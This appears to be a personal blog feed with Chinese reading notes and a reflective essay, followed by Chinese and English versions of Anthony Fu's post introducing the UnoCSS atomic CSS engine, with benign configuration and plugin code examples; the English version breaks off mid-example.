—— 我反倒觉得愿字更好，远反而表现出落花的被动。落花是自愿随着流水，温泽两岸。

以欢喜心，慢度日常

—— 突然想到不以物喜，不以己悲。那我觉得更应该是用平常心来渡日常

有管得住，才能放得开

—— 最近和读书会的同学们交流，王大记者的一句话给了我很深刻的印象，这恐怕也是中央做决策时很重要的出发点

提级管理一般意味着机会更多，如98年国土资源管理局

—— 98年成立国土资源管理局，房价开始上涨，最近又想重读置身事内这本书了

欲买桂花同载酒，终不似，少年游。便邀东风揽明月，春不许，再回头。重行故地儿时路，雪不停，白了头。残柳不语雁不误，西风转，世已秋。踌躇举杯对孤影，尚未语，泪先留。

—— 欲买桂花同载酒，可惜，早已不复少年时

随笔 1.24

Tue, 24 Jan 2023 00:00:00 GMT

随笔 1.24

今年年初写的旧文了，重新修饰了下再发出来，重温当时的心境，最近也很少写了

经常性会出现啥都不想干的情况，似那黄鹤一去不复返，只留下脑海的白云千载空悠，对任何事情，读书、研究、游戏都提不起兴趣，每当此时静坐于窗下灯前，想起王摩诘所谓雨中山果落，灯下草虫鸣，心中总会生出一股暖意，原来跨越千年的时光，我与王维的心境就交汇于这十个字中。若真有平行时空，不知他的心中是否会突然一悸，接受到我这来自千年之后的信号呢？

恐怕是必然不可能的，毕竟物理学的祖父悖论怎么可能轻易逾越呢？但是歌曲却可以跨越人的心灵，今日偶然听到一首《ocean eyes》，竟然是很久之前添加收藏的，歌手空灵悠远的音调，让我忍不住单曲循环了好一阵子，尽管听英语歌这么多年了，尽管英语文章已经看的大差不差了，可是在歌这一层，却总是无法真正读懂，那诞生于国外的高音女歌手嗓音中的律动，故只能按照我自己所处的环境和心境来解读了。那在我必是一种悲凉，我仿佛看到了一双跨越千年的目光，穿过迷雾茫茫的大海，那眼神中传达出的空旷哀伤，让我沉醉其中。

但我这理解又不一定准确，可我也懒待去寻找真正的解读，何必事事总要去细细求证呢？毕竟各人有各人所处之环境，不仅仅是心灵所处之环境，我们千百年来生活的地理环境，也似乎决定了些什么。否则何以解释是西班牙殖民者带上枪炮、钢铁和天花病毒，去感染印第安人呢？最近读了一大半的《枪炮、病菌与钢铁》，作者不仅从实证、逻辑推理的角度追本溯源，更驳斥了西方一直以来的种族决定论。

其实不然，早在公元前，咱们的农民起义领袖陈胜就已经喊出了那句王侯将相，宁有种乎的口号。这国外能比吗，那显然是不能的。但陈胜的局限性就在于，既然不是种族决定，那是什么决定呢？可能这位农民起义领袖也顾不上许多，因为暴虐的大秦朝还等着他去推翻呀。起义的前夕，他是否能悠然入睡呢？

都说成大事者，泰山崩于前而面不改色，刘慈欣刻画的罗辑博士，在被托付于人类危机的重担中，却依然能翩翩然享乐。若此重任改嫁到我身上，恐怕要么我将如同诸葛丞相一样，五月度泸，深入不毛，夙兴夜寐，攘除奸凶，断不敢像罗博士一样，手持暗影精灵，谈笑间令eto组织灰飞烟灭吧（笑）。

那些弥漫充斥于脑海中的各路想法，最后终不过是晓来百念皆灰尽，省有残灯影。如苏子，对一壶酒，一溪云，如王摩诘，对一山雨，一鸣虫，如我？似乎没啥好对的了，那也就写完了

重新构想原子化 CSS

Tue, 26 Oct 2021 16:00:00 GMT

[[toc]]

感谢印记中文的 QC-L 对本文进行翻译，英文原文: English Version。

本文会比往期文章相对长些。这是我个人的一个重大的工具发布，有许多内容我想谈论。如果你能花些时间读完，不胜感激。若你在电脑端阅读，可在左侧查看目录。最后，希望能对你有所帮助 :)

什么是原子化 CSS?

首先，让我们为 原子化 CSS (Atomic CSS) 给出适当的定义：

John Polacek 在文章 Let’s Define Exactly What Atomic CSS is 中写道：

Atomic CSS is the approach to CSS architecture that favors small, single-purpose classes with names based on visual function.

译文：

原子化 CSS 是一种 CSS 的架构方式，它倾向于小巧且用途单一的 class，并且会以视觉效果进行命名。

有些人可能会称其为函数式 CSS，或者 CSS 实用工具。本质上，你可以将原子化的 CSS 框架理解为这类 CSS 的统称：

.m-0 {
  margin: 0;
}
.text-red {
  color: red;
}
/* ... */

市面上有不少实用至上的 CSS 框架，如 Tailwind CSS，Windi CSS 以及 Tachyons 等。

同时有些 UI 库也会附带一些 CSS 工具类作为框架的补充，如 Bootstrap 和 Chakra UI。

这篇文章并不打算和你讨论使用原子化 CSS 的优缺点，相信你己经在各种地方听到了许多讨论。今天我们将从框架作者的角度来聊聊如何权衡设计以构建出那些你喜欢的框架，它们的局限性，以及如何能将它们做得更好以使得我们的日常工作受惠。

背景

在正式开始前，先来聊聊背景。如果你还不认识我，我叫 Anthony Fu，是 Vite 团队的成员，也是 Vitesse (Vite 社区最受欢迎的起手模板之一) 的作者。我享受原子化 CSS 带来的快速开发体验，而因此选择了 Tailwind CSS 作为 Vitesse 的默认 UI 框架。虽然 Vite 较 Webpack 等工具相比，在加载速度上有了大幅提升，但由于 Tailwind 生成了数 MB 的 CSS，使得加载与更新 CSS 成为了整个 Vite 应用的性能瓶颈。我曾以为这是使用为了原子式 CSS 的一种权衡，直到我发现了 Windi CSS。

Windi CSS 是从零开始编写的 Tailwind CSS 的替代方案。它的零依赖，也不要求用户安装 PostCSS 和 Autoprefixer。更为重要的是，它支持 按需生成。Windi CSS 不会一次生成所有的 CSS，而是只会生成你在代码中实际使用到的原子化 CSS。这与 Vite 按需使用的理念不谋而合，也因此，我为它编写了一个 Vite 插件。不出所料，从一个简单的测试上可以看到它比 Tailwind 要快了 20~100 倍。

项目进展相当顺利，Windi CSS 也快速成长为一个团队，我们也引入了许多创新，如自动值推导，可变修饰组，Shortcuts，在 DevTools 中进行设计，属性化模式等。作为结果，Tailwind 也因此使用了同样的技术并推出了自己的 JIT 按需引擎。

剖析原子化 CSS

在文章开始前，我们来聊聊原子化 CSS 的工作原理。

传统方案

制作原子化 CSS 的传统方案其实就是提供所有你可能需要用到的 CSS 工具。例如，你可能会用预处理器（这里选用的是 SCSS）生成如下代码：

// style.scss

@for $i from 1 through 10 {
  .m-#{$i} {
    margin: $i / 4 rem;
  }
}

编译结果为：

{/* eslint-skip */}

.m-1 { margin: 0.25 rem; }
.m-2 { margin: 0.5 rem; }
/* ... */
.m-10 { margin: 2.5 rem; }

现在你可以直接使用 class="m-1" 来设置边距。但正如你所见，用这种方法的情况下，你不能使用除了 1 到 10 之外的边距，而且，即使你只使用了其中一条 CSS 规则，但还是要为其余几条规则的文件体积买单。如果之后你还想支持不同的 margin 方向，使用比如 mt 代表 margin-top，mb 代表 margin-bottom 等，加上这 4 个方向以后，你的 CSS 大小会变成原来的 5 倍。如果再有使用到像 :hover 和 :focus 这样的伪类时，体积还会得更变大。以此类推，每多加一个工具类，往往意味着你 CSS 文件的大小也会随之增加。这也就是为什么传统的 Tailwind 生成的 CSS 文件会有数 MB 的大小。

为了解决这个问题，Tailwind 通过使用 PurgeCSS 来扫描你的打包产物并删除你不需要的规则。这得以使其在生产环境中 CSS 文件缩减为几 KB。然而，请注意，这个清除操作仅在生成构建下有效，而开发环境下仍要使用包含了所有规则巨大的 CSS 文件。这在 Webpack 中表现可能并不明显，但在 Vite 中却有着巨大的影响，毕竟其他内容的加载都非常迅捷。

既然生成再清除的方法存在局限性，那是否有更好的解决方案？

按需生成

"按需生成" 的想法引入了一种全新的思维方式。让我们先来对比下这些方案：

传统的方式不仅会消耗不必要的资源（生成了但未使用），甚至有时更是无法满足你的需求，因为总会有部分需求无法包含在内。

通过调换 "生成" 和 "扫描" 的顺序，"按需" 会为你节省浪费的计算开销和传输成本，同时可以灵活地实现预生成无法实现的动态需求。另外，这种方法可以同时在开发和生产中使用，提供了一致的开发体验，使得 HMR (Hot Module Replacement, 热更新) 更加高效。

为了实现这一点，Windi CSS 和 Tailwind JIT 都采用了预先扫描源代码的方式。下面是一个简单示例：




// 通常这个是可以配置的
const include = ['src/**/*.{jsx,tsx,vue,html}']

async function scan() {
  const files = await glob(include)

  for (const file of files) {
    const content = await fs.readFile(file, 'utf8')
    // 将文件内容传递给生成器并配对 class 的使用情况
  }
}

await scan()
// 扫描会在构建/服务器启动前完成
await buildOrStartDevServer()

为了在开发期间提供 HMR，通常会启动一个文件系统监听器：



chokidar.watch(include).on('change', (event, path) => {
  // 重新读取文件
  const content = await fs.readFile(file, 'utf8')
  // 将新的内容重新传递给生成器
  // 清除 CSS 模块的缓存并触发 HMR 事件
})

因此，通过按需生成方式，Windi CSS 获得了比传统的 Tailwind CSS 快 100 倍左右的性能。

痛痒

我现在在我几乎所有的应用中都在使用 Windi CSS，而且效果显著，性能优异，HMR 瞬间完成几乎无法察觉。自动值推导和属性化模式更是提升了我的开发体验。到这里，我本该可以睡上一个好觉去想想其他事情了，但是有时候，它还是会瘙你痒痒打扰你的美梦。

我发现最令人讨厌的是，和很多时候我不清楚我得到的结果是什么，以及怎么样做才能让它生效。对我而言，最好最理想的原子化 CSS 应该是直觉性的。一旦学会，它应该非常直观易懂，并且可以推导出其他已知情况。如果你知道 mt-1 是上边距的一倍单位，你就会直觉地认为 mb-2 是下边距的两倍单位。当它正常工作时，是直觉使然，但当它不起作用时，会令人沮丧和困惑。

例如，我们知道 Tailwind 中的 border-2 标识边框宽度为 2px，4 表示 4px，6 表示 6px，8 表示 8px，但当你使用 border-10 却不起作用（你甚至需要一些时间来发现这件事！）。你可能会说这是故意而为之，以使得设计系统具有一致性。不如这样，我们来做个小测验，如果想要让 border-10 正常工作，应该如何做？

在你的全局样式中的某个位置添加这样一个工具类？

.border-10 {
  border-width: 10px;
}

快速且直观，最重要的是，它的确解决了你的需求。但是，如果什么都需要我自己手动添加，那我们为什么还需要使用 Tailwind ？

如果你对 Tailwind 了解深入一些，那你可能知道它可以进行额外配置。所以你需要花 5 分钟，检索他们的文档。你将得到如下方案：

// tailwind.config.js
module.exports = {
  theme: {
    borderWidth: {
      DEFAULT: '1px',
      0: '0',
      2: '2px',
      3: '3px',
      4: '4px',
      6: '6px',
      8: '8px',
      10: '10px' // <-- here
    }
  }
}

这似乎很合理，我可以把我需要的情况都列出来，回去继续工作了...等一下，我刚刚进行到哪里了？因为这样一个工具的丢失而被打断，除了配置，我们还会需要时间重新找回原本正在进行的工作的上下文。接着，如果我想设置边框颜色，我还需要查询文档，然后如何进行配置。也许有人喜欢这样的工作流程，但这并不适合我，我并不享受被本该直觉性工作的工具打断的我的工作流程。

Windi CSS 对规则相对宽松一些，会尽可能地根据你使用的 class 提供相应的实用工具类。在这种情况下，border-10 在 Windi 中可以做到开箱即用。但是，由于 Windi 需要与 Tailwind 兼容，它还必须使用与 Tailwind 完全相同的配置项。尽管数字推断的问题得到了解决，但如果你想添加一些自定义的工具，这将是一场噩梦。下面是一个来自 Tailwind 文档的示例：

// tailwind.config.js
const _ = require('lodash')
const plugin = require('tailwindcss/plugin')

module.exports = {
  theme: {
    rotate: {
      '1/4': '90deg',
      '1/2': '180deg',
      '3/4': '270deg',
    }
  },
  plugins: [
    plugin(({ addUtilities, theme, e }) => {
      const rotateUtilities = _.map(theme('rotate'), (value, key) => {
        return {
          [`.${e(`rotate-${key}`)}`]: {
            transform: `rotate(${value})`
          }
        }
      })

      addUtilities(rotateUtilities)
    })
  ]
}

将生成如下代码：

.rotate-1\/4 {
  transform: rotate(90deg);
}
.rotate-1\/2 {
  transform: rotate(180deg);
}
.rotate-3\/4 {
  transform: rotate(270deg);
}

生成 CSS 的代码甚至比结果还要长。并且难以阅读和维护，同时，它破坏了按需应变的能力。

Tailwind 的 API 和插件系统沿用了旧的思维方式进行设计，并不能适应新的按需方式。其核心工具是在生成器中锻造出来的，而且其定制化功能相当有限。因此，我开始思考，如果我们可以放弃这些历史包袱，并以随需应变思想重新设计它，我们可以得到什么？

向你介绍 UnoCSS

UnoCSS - 具有高性能且极具灵活性的即时原子化 CSS 引擎。

该项目诞生于我在国庆期间的做的一些随机实验。从使用者的角度出发去探索灵活性和直观性的最佳平衡，加上按需生成的思想，这些实验的最终结果在不少方面甚至超出了我的预期。接下来让我为你逐一介绍：

引擎

UnoCSS 是一个引擎，而非一款框架，因为它并未提供核心工具类，所有功能可以通过预设和内联配置提供。

我们设想 UnoCSS 能够通过预设模拟大多数已有原子化 CSS 框架的功能。也有可能会被用作创建一些新的原子化 CSS 框架的引擎。例如：




// 以下预设目前还不存在，
// 欢迎大家踊跃贡献！






  plugins: [
    UnocssPlugin({
      presets: [
        // PresetTachyons,
        PresetBootstrap,
        // PresetTailwind,
        // PresetWindi,
        // PresetAntfu

        // 选择其中一个...或多个！
      ]
    })
  ]
}

让我们来看看如何使它们成为可能：

直观且完全可定制

UnoCSS 的主要目标是直观性和可定制性。它可以让你在数十秒内，定义你自己的 CSS 工具。

静态规则

原子化 CSS 可能数量相当庞大。因此，规则定义直接了当对于阅读和维护非常重要。如需为 UnoCSS 创建一个自定义规则，你可以这样写：

rules: [
  ['m-1', { margin: '0.25rem' }]
]

当在用户代码库中检测到 m-1 时，就会生成如下 CSS：

{/* eslint-skip */}

.m-1 { margin: 0.25rem; }

动态规则

想要使其动态化，可以将匹配器修改为正则表达式，将主体改为一个函数：

rules: [
  [/^m-(\d+)$/, ([, d]) => ({ margin: `${d / 4}rem` })],
  [/^p-(\d+)$/, match => ({ padding: `${match[1] / 4}rem` })],
]

其中，回调函数的第一个参数为匹配结果，所以你可以对它进行解构以获得正则表达式的匹配组。

例如，当你使用：

<div class="m-100">
  <button class="m-3">
    <icon class="p-5" />
    My Button
  </button>
</div>

就会生成相应的 CSS：

{/* eslint-skip */}

.m-100 { margin: 25rem; }
.m-3 { margin: 0.75rem; }
.p-5 { padding: 1.25rem; }

这样就行了。而现在，你只需要使用相同的模式添加更多的实用工具类，你就拥有了属于自己的原子化 CSS！

可变修饰

可变修饰 (Variants) 在 UnoCSS 中也是简单且强大的。这里有几个示例：

variants: [
  // 支持所有规则的 `hover:`
  {
    match: s => s.startsWith('hover:') ? s.slice(6) : null,
    selector: s => `${s}:hover`,
  },
  // 支持 `!` 前缀，使规则优先级更高
  {
    match: s => s.startsWith('!') ? s.slice(1) : null,
    rewrite: (entries) => {
      // 在所有 CSS 值中添加 ` !important`
      entries.forEach(e => e[1] += ' !important')
      return entries
    },
  }
]

你可以参考文档了解更多细节。

预设

你可以将自己的自定义规则和可变修饰打包成预设，与他人分享，或是使用 UnoCSS 作为引擎创建你自己的原子化 CSS 框架！

同时，我们在发布时也提供了一些预设供你快速上手。

值得一提的是，默认的 @unocss/preset-uno 预设（实验阶段）是一系列流行的原子化框架的 通用超集，包括了 Tailwind CSS，Windi CSS，Bootstrap，Tachyons 等。

例如，ml-3（Tailwind），ms-2（Bootstrap），ma4（Tachyons），mt-10px（Windi CSS）均会生效。

{/* eslint-skip */}

.ma4 { margin: 1rem; }
.ml-3 { margin-left: 0.75rem; }
.ms-2 { margin-inline-start: 0.5rem; }
.mt-10px { margin-top: 10px; }

了解更多关于默认预设的信息。

灵活性

截止目前为止，我们都在向你展示如何使用 UnoCSS 来模仿 Tailwind 和其他原子化框架的行为，即便 UnoCSS 让这件事变得十分容易，但仅此一点可能也不会在最终使用者的方面产生太大影响。

一起来见识下 UnoCSS 真正的威力：

属性化模式

属性化模式 (Attributify Mode) 是 Windi CSS 最受欢迎的特性之一。它能帮助你通过使用属性更好地组织和分组你的实用工具类。

它会把你的冗长的 Tailwind 代码（难以阅读与编辑）：

{/* eslint-skip */}

<button class="bg-blue-400 hover:bg-blue-500 text-sm text-white font-mono font-light py-2 px-4 rounded border-2 border-blue-200 dark:bg-blue-500 dark:hover:bg-blue-600">
  Button
</button>

变成：

<button
  bg="blue-400 hover:blue-500 dark:blue-500 dark:hover:blue-600"
  text="sm white"
  font="mono light"
  p="y-2 x-4"
  border="2 rounded blue-200"
>
  Button
</button>

在更好的按类型进行组织的同时，也节省了重复输入相同前缀的时间。

在 UnoCSS 中，我们也实现了属性化模式，只使用 一个可变修饰 和 一个提取器，总共 代码行数不超过 100！更重要的是，它直接适用于你自定义的任何规则！

除了 Windi CSS 的属性化模式，仅需改动几行代码，我们还实现了无值的属性的支持：

<div class="m-2 rounded text-teal-400" />

现在变为：

<div m-2 rounded text-teal-400 />

整个属性化模式是通过 @unocss/preset-attributify 预设提供的，详细的使用方法请参考其文档。

纯 CSS 图标

如果你读过我之前的文章 Journey with Icons Continues，你一定知道我对图标非常热衷，并且在积极研究图标的各种解决方案。这次，凭借 UnoCSS 的灵活性，我们甚至可以拥有纯 CSS 的图标。你没看错，它是纯 CSS 的图标，不需要任何 JavaScript！让我们来看看它长什么样子：

{/* A basic anchor icon from Phosphor icons */}
<div class="i-ph-anchor-simple-thin" />
{/* An orange alarm from Material Design Icons */}
<div class="i-mdi-alarm text-orange-400 hover:text-teal-400" />
{/* A large Vue logo */}
<div class="i-logos-vue text-3xl" />
{/* Sun in light mode, Moon in dark mode, from Carbon */}
<button class="i-carbon-sun dark:i-carbon-moon" />
{/* Twemoji of laugh, turns to tear on hovering */}
<div class="i-twemoji-grinning-face-with-smiling-eyes hover:i-twemoji-face-with-tears-of-joy" />

与可变修饰结合，你甚至可以根据悬停状态或颜色模式来切换图标。得益于 Iconify 项目，你可以从一百余个热门图标集合（Material Design Icons， Ant Design Icons 等等）中获得 超过一万个图标 供你按需使用。

同样的，这个功能的实现代码并未超过 100 行。具体请参考 @unocss/preset-icons 预设的实现了解其中的魔法。

希望这些预设可以让你对 UnoCSS 的灵活性有一个大致的了解。它还处于一个非常早期的阶段，有很多可能性等待我们去探索。

CSS 作用域

在使用 Tailwind / Windi 时，我遇到的另一个问题就是样式预检 (Preflight)。预检功能重置了原生元素，并为 CSS 变量提供了一些兜底方案，在开发一个只使用 Tailwind/Windi 的新应用时，效果很棒。但当你想让它们与其他 UI 框架一起工作，或者使用 Tailwind 编写一些共享组件时，预检往往会引入许多冲突，破坏你现有的 UI。

因此，UnoCSS 采取了另一个霸气的操作，不支持预检。相反，它将 CSS 重置的控制权完全留给了用户 (或 UnoCSS 上层框架)，让他们使用适合自己的方案 - Normalize.css，Reset.css 或者 UI 框架自带的CSS 重置等。

这也使得 UnoCSS 在 CSS 作用域上有了更多可能性。例如，我们在 Vite 插件上有一个实验性的 scoped-vue 模式，可以为每个组件生成作用域样式，你可以安全地使用原子化 CSS 作为组件库，而无需担心与用户的 CSS 发生冲突。比如：

<template>
  <div class="m-2 rounded">
    <slot />
  </div>
</template>

{/* 以下内容将被注入 bundler 中 */}
<style scoped>
.m-2 {
  margin: 0.5rem;
}
.rounded {
  border-radius: 0.25rem;
}
</style>

我们还在尝试更多的可能性，比如支持 Web Component，MPA 情况下的 CSS 代码分割，以及模块级别的 CSS 作用域等。

性能

考虑到 UnoCSS 带来的灵活性和想象力，坦率地说，我认为性能可能不是那么重要的事情。出于好奇，我写了一个简单的 benchmark 来比较性能。结果令人惊讶：

10/21/2021, 2:17:45 PM
1656 utilities | x50 runs

none                            8.75 ms /    0.00 ms
unocss       v0.0.0            13.72 ms /    4.97 ms (x1.00)
windicss     v3.1.9           980.41 ms /  971.66 ms (x195.36)
tailwindcss  v3.0.0-alpha.1  1258.54 ms / 1249.79 ms (x251.28)

从结果来看，UnoCSS 可以比 Tailwind 的 JIT 引擎快 200 倍！说实话，在按需生成的情况下，Windi 和 Tailwind JIT 都已经算是超快了，UnoCSS 的性能提升感知度可能没有那么高。然而，几乎为零的开销意味着你可以将 UnoCSS 整合到你现有的项目中，作为一个增量解决方案与其他框架一同协作，而不需要担心性能损耗。

在开发时，UnoCSS 做了很多性能上的优化。如果你感兴趣，可以参考：

跳过解析，不使用 AST

从内部实现上看，Tailwind 依赖于 PostCSS 的 AST 进行修改，而 Windi 则是编写了一个自定义解析器和 AST。考虑到在开发过程中，这些工具 CSS 的并不经常变化，UnoCSS 通过非常高效的字符串拼接来直接生成对应的 CSS 而非引入整个编译过程。同时，UnoCSS 对类名和生成的 CSS 字符串进行了缓存，当再次遇到相同的实用工具类时，它可以绕过整个匹配和生成的过程。

单次迭代

正如前文所述，Windi CSS 和 Tailwind JIT 都依赖于对文件系统的预扫描，并使用文件系统监听器来实现 HMR。文件 I/O 不可避免地会引入开销，而你的构建工具实际上需要再次加载它们。那么我们为什么不直接利用已经被工具读取过的内容呢？

除了独立的生成器核心以外，UnoCSS 有意只提供了 Vite 插件（以后可能考虑其他的集成），这使得它能够专注于与 Vite 的最佳集成。

在 Vite 中，transform 的钩子将与所有的文件及其内容一起被迭代。因此，我们可以写一个插件来收集它们，比如：


  plugins: [
    {
      name: 'unocss',
      transform(code, id) {
        // 过滤掉无需扫描的文件
        if (!filter(id))
          return

        // 扫描代码（同时也可以处理开发中的无效内容）
        scan(code, id)

        // 我们只需要内容，所以不需要对代码进行转换
        return null
      },
      resolveId(id) {
        return id === VIRTUAL_CSS_ID ? id : null
      },
      async load(id) {
        // 生成的 css 会作为一个虚拟模块供后续使用
        if (id === VIRTUAL_CSS_ID)
          return { code: await generate() }
      }
    }
  ]
}

由于 Vite 也会处理 HMR，并在文件变化时再次执行 transform 钩子，这使得 UnoCSS 可以在一次加载中就完成所有的工作，没有重复的文件 I/O 和文件系统监听器。此外，通过这种方式，扫描会依赖于模块图而非文件 glob。这意味着只有构建在你应用程序中的模块才会影响生成的 CSS，而并非你文件夹下的任何文件。

我们还做了一些小技巧来提高性能。我可能会在以后再写一篇关于它们的文章，但在此之前，你可以通过阅读代码来弄清它们 :)

现在能用吗？

简而言之：可以，但有注意事项。

UnoCSS 仍处于实验阶段，但由于其精简的设计，生成的结果已经非常可靠了。需要注意的一点是，API 还没有最终定案，虽然我们会遵循 semver 的进行版本发布，但是还请为破坏性改动做好准备。

注意：它并非被设计成 Windi CSS 或 Tailwind 的替代品（考虑等待 Windi CSS v4）。我们不建议将现有项目完全迁移到 UnoCSS。你可以在新的项目中试用它，或者将它作为你现有 CSS 框架的补充（例如，禁用默认预设，只使用纯 CSS 图标的预设，或者自定义你的规则）。

顺便说一句，目前你正在阅读的网站就构建于 UnoCSS 之上，供你参考 :P。

同时，欢迎分享你正在制作的预设或帮助我们贡献默认的预设。期待看到你能够蹦出什么新想法！

结束语

非常感谢你的阅读！如果你对它感兴趣，请记得查看 unocss/unocss 仓库以了解更多细节，也可以通过 在线 Playground 进行尝试。

欢迎评论或转发此推文，让我知道你的想法！🙌

Reimagine Atomic CSS

Tue, 26 Oct 2021 16:00:00 GMT

[[toc]]

This post will be a bit longer than usual. It's quite a big announcement to me, and there are many things I want to talk about. I'll be appreciated if you take the time to read through it. The table of contents is hidden on the left if you are on a desktop. Hope you enjoy :)

中文 Chinese Version

What is Atomic CSS?

Let's first give a proper definition to Atomic CSS:

From this article by John Polacek:

Atomic CSS is the approach to CSS architecture that favors small, single-purpose classes with names based on visual function.

Some might also call it Functional CSS, or CSS utilities. Basically, you can say an Atomic CSS framework is a collection of the CSS like these:

.m-0 {
  margin: 0;
}
.text-red {
  color: red;
}
/* ... */

We have quite a few utilities-first CSS framework like Tailwind CSS, Windi CSS and Tachyons, etc. And there are also some UI libraries that come with some CSS utilities as the complement to the framework, for example Bootstrap and Chakra UI.

We are not going to talk about the pros and cons of using atomic CSS here, as you might hear them many times already. Today, we are going to use a framework author's perspective to see how we make the trade-off building those frameworks you love, their limitations, what we can do better to eventually benefits your daily work.

The Background

Before we start, let's talk a bit about the background. If you don't know me, my name is Anthony Fu, and I am a Vite team member and the creator of Vitesse, one of the most popular starter templates for Vite. I enjoy the speedy development experience of atomic CSS (or CSS utilities), so I chose to use Tailwind CSS as the default UI framework for Vitesse. While Vite should be incredibly fast compared to Webpack and others, Tailwind, which generates megabytes of utility CSS, makes the start-up and HMR on Vite slow as the old days. I once thought this was some kind of trade-off for using atomic CSS solutions - until I discovered Windi CSS.

Windi CSS was a Tailwind CSS alternative that was written from scratch. It has zero dependencies and does not rely on PostCSS and Autoprefixer. More importantly, it features on-demanded usage. Instead of generating all the combinations of utilities that you rarely used to purge later, Windi CSS only generates those actually presented in your codebase. This fits perfectly well with Vite's on-demanded philosophy, and theoretically, it should be way much faster than Tailwind. So I wrote the Vite plugin for it, and it turned out to be 20~100x faster than Tailwind.

It went pretty well, Windi CSS grown into a team, we made many more innovations like Value Infering, Variant Groups, Shortcuts, Design in DevTools, Attributify Mode, etc. As the result, Tailwind was ass kicked to introduce their own on-demand JIT engine.

Breakdown Atomic CSS

Back to the topic, let's take a look at how atomic CSS works first.

Traditional Way

The traditional way of making Atomic CSS is to provide all the CSS utilities you might possibly want, for example, here is something you could generate your own with a preprocessor (SCSS in this case):

// style.scss

@for $i from 1 through 10 {
  .m-#{$i} {
    margin: $i / 4 rem;
  }
}

It will be compiled to:

{/* eslint-skip */}

.m-1 { margin: 0.25 rem; }
.m-2 { margin: 0.5 rem; }
/* ... */
.m-10 { margin: 2.5 rem; }

Great, now you can use class="m-1" to set the margin. But as you might see, with this approach, you can't set the margin outside of 1 to 10, and also, you need to pay the cost of shipping 10 CSS rules even if you have only used one. Later if you want to support different margin directions like mt for margin-top, mb for margin-bottom. With those 4 directions, you are multiplying your CSS size by 5. Then when it comes to variants like hover: and focus: - you know the story. At that point, adding one more utility often means you are going to introduce a few extra kilobytes. Thus, this is also why the traditional Tailwind ships megabytes of CSS.

To solve this, Tailwind came up with the solution by using PurgeCSS to scan your dist bundle and remove the rules you don't need. Now you have only a few KBs of CSS in production. However, note that the purging would only work in the production build, meaning you are still working with the tremendous CSS in development. It wasn't that prominent in Webpack, but it becomes a pain in Vite, given the rest are now coming blazing fast.

While generating and purging approach have its limitations, could we have a better solution?

On-demand Way

The "on-demand" idea introduces a brand new way of thinking. Let's make a comparison of the approaches here.

The traditional way not only costs you unnecessary computation (generated but not in use) but is also unable to satisfy your needs that are not included in the first place.

By flipping the order of "generating" and "usage scanning", the "on-demand" approach saves you the wasted computational and transferring cost, while being flexible to provide the dynamic needs that pre-generating can't possibly be covered. Meanwhile, this approach could be used in both development and production, provide more confidence about the consistency and make HMR more efficient.

To achieve this, both Windi CSS and Tailwind JIT take the approach of pre-scanning your source code. Here is a simple example of that:




// this usually comes from user config
const include = ['src/**/*.{jsx,tsx,vue,html}']

async function scan() {
  const files = await glob(include)

  for (const file of files) {
    const content = await fs.readFile(file, 'utf8')
    // pass the content to the generator and match for class usages
  }
}

await scan()
// scanning is done before the build / dev process
await buildOrStartDevServer()

To provide HMR during development, a file watcher is usually needed:



chokidar.watch(include).on('change', (event, path) => {
  // read the file again
  const content = await fs.readFile(file, 'utf8')
  // pass the content to the generator again
  // invalidate the css module and send HMR event
})

As a result, with the on-demand approach, Windi CSS is able to provide about 100x faster performance than the traditional Tailwind CSS.

The Itches

I am now using Windi CSS on almost all my apps, and it works pretty well. The performance is sweet, and the HMR is unnoticeable. Value Auto Infering and Attributify Mode makes my development even faster. I could really take a good sleep and dream about other things then. However, it sometimes itches me from my sweet dream.

The one I found annoying is the unclearness of what I am getting and what to do to make it work. To me, the best ideally atomic CSS should be invisible. Once learned, it should be intuitive and analogous to know the others. It's invisible when it works as you expect and could become frustrating when it doesn't.

For example, you know that in Tailwind's border-2 means 2px of border width, 4 for 4px, 6 for 6px, 8 for 8px, but guess what, border-10 does NOT work (it could also take your time to figure it out!). You might say this is designed on purpose by Tailwind to make the design system consistent and limited. Ok fine, but here is a quick quiz, let's say if you want border-10 to work, how would you do that?

Write your own utility somewhere in your global styles?

.border-10 {
  border-width: 10px;
}

That's pretty fast and straightforward. And importantly, it works. But honestly, if I need to do this manually myself, why would I need Tailwind in the first place?

If you know Tailwind a bit more, you might know it can be configured. So you spend 5 minutes searching for their docs, here is what you end up with:

// tailwind.config.js
module.exports = {
  theme: {
    borderWidth: {
      DEFAULT: '1px',
      0: '0',
      2: '2px',
      3: '3px',
      4: '4px',
      6: '6px',
      8: '8px',
      10: '10px' // <-- here
    }
  }
}

Ah, fair enough, now we could list them all and get back to work... wait, where was I? The original task you are working on gets lost, and it takes time to get back to the context again. Later on, if we want to set border colors, we'd need to look up the docs again to see how it could be configured and so on. Maybe someone would enjoy this workflow, but it's not for me. I don't enjoy being interrupted by something that should intuitively work.

Windi CSS is more relaxed to the rules and will try to provide the corresponding utilities whenever possible. In the previous case, border-10 will work out-of-box on Windi (thank you!). But due to the fact that Windi is compatible with Tailwind, it also has to use the exact same configuration interface as Tailwind. While the number inferring works in Windi, it would still be a nightmare if you want to add custom utilities. Here is an example from Tailwind's docs:

// tailwind.config.js
const _ = require('lodash')
const plugin = require('tailwindcss/plugin')

module.exports = {
  theme: {
    rotate: {
      '1/4': '90deg',
      '1/2': '180deg',
      '3/4': '270deg',
    }
  },
  plugins: [
    plugin(({ addUtilities, theme, e }) => {
      const rotateUtilities = _.map(theme('rotate'), (value, key) => {
        return {
          [`.${e(`rotate-${key}`)}`]: {
            transform: `rotate(${value})`
          }
        }
      })

      addUtilities(rotateUtilities)
    })
  ]
}

That alone is to generate these:

.rotate-1\/4 {
  transform: rotate(90deg);
}
.rotate-1\/2 {
  transform: rotate(180deg);
}
.rotate-3\/4 {
  transform: rotate(270deg);
}

The code to generate the CSS is even longer than the outcome. It could be hard to read and maintain, and meanwhile, it breaks the on-demand ability.

Tailwind's API and plugin system is designed with the traditional mindset and does not really match the new on-demand approach. Core utilities are baked in the generator, and the customization is quite limited. So, I started wondering if we could abandon those debts and redesign it ground-up with the on-demand approach in mind, what would we get?

Introducing UnoCSS

UnoCSS - the instant atomic CSS engine with maximum performance and flexibility.

It started with some random experiments during my national holiday. With the mind of on-demand and the flexibility that I would expect as a user, the experiments turned out to be very good to me in many ways.

The Engine

UnoCSS is an engine instead of a framework because there are no core utilities - all the functionalities are provided via presets or inline configurations.

We are imagining UnoCSS being able to simulate the functionalities of most of the existing atomic CSS frameworks. And possibly have been used as the engine to create some new atomic CSS frameworks! For example:




// the following presets do not exist at this moment,
// contribution welcome!






  plugins: [
    UnocssPlugin({
      presets: [
        // PresetTachyons,
        PresetBootstrap,
        // PresetTailwind,
